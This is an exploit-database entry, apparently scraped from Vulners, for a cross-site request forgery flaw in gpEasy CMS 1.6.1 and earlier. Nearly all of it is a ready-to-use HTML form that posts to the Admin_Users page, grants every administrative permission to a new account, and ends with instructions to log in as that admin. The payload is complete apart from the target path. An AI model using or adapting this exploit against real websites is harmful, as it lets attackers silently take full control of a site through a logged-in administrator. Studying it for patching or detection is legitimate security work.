gpEasy <= 1.6.1 CSRF Remote Add Admin Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

gpEasy <= 1.6.1 CSRF Remote Add Admin Exploit by Giuseppe D'Invern


                                                =============================================
gpEasy &#60;= 1.6.1 CSRF Remote Add Admin Exploit
=============================================

Author : Giuseppe &#39;giudinvx&#39; D&#39;Inverno
Email : &#60;giudinvx[at]gmail[dot]com&#62;
Date : 04-29-2010
Site     : http://www.giudinvx.altervista.org/
Location : Naples, Italy

--------------------------------------------------------
Application Info
Site   : http://www.gpeasy.com/
Version: 1.6.1
--------------------------------------------------------

==============[[ -Exploit Code- ]]==============

&#60;html&#62;
&#60;form method=&#34;post&#34; action=&#34;[patth]/index.php/Admin_Users&#34;&#62;
&#60;input type=&#34;text&#34; value=&#34;xxx&#34; name=&#34;username&#34;&#62;&#60;br/&#62;
&#60;input type=&#34;password&#34; value=&#34;xxx&#34; name=&#34;password&#34;&#62;&#60;br/&#62;
&#60;input type=&#34;password&#34; value=&#34;xxx&#34; name=&#34;password1&#34;&#62;&#60;br/&#62;
&#60;input type=&#34;text&#34; value=&#34;xxx&#34; name=&#34;email&#34;&#62;&#60;br/&#62;
&#60;input value=&#34;Admin_Menu&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_Uploaded&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_Extra&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_Theme&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_Users&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_Configuration&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_Trash&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_Uninstall&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_Addons&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_New&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input value=&#34;Admin_Theme_Content&#34; type=&#34;hidden&#34; name=&#34;grant[]&#34;&#62;
&#60;input type=&#34;hidden&#34; value=&#34;newuser&#34; name=&#34;cmd&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Continue&#34; name=&#34;aaa&#34; class=&#34;submit&#34;&#62;
&#60;/form&#62;
&#60;/html&#62;

# Now you have an Admin user with name: xxx and password: xxx, just login
page [path]/index.php/Admin

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1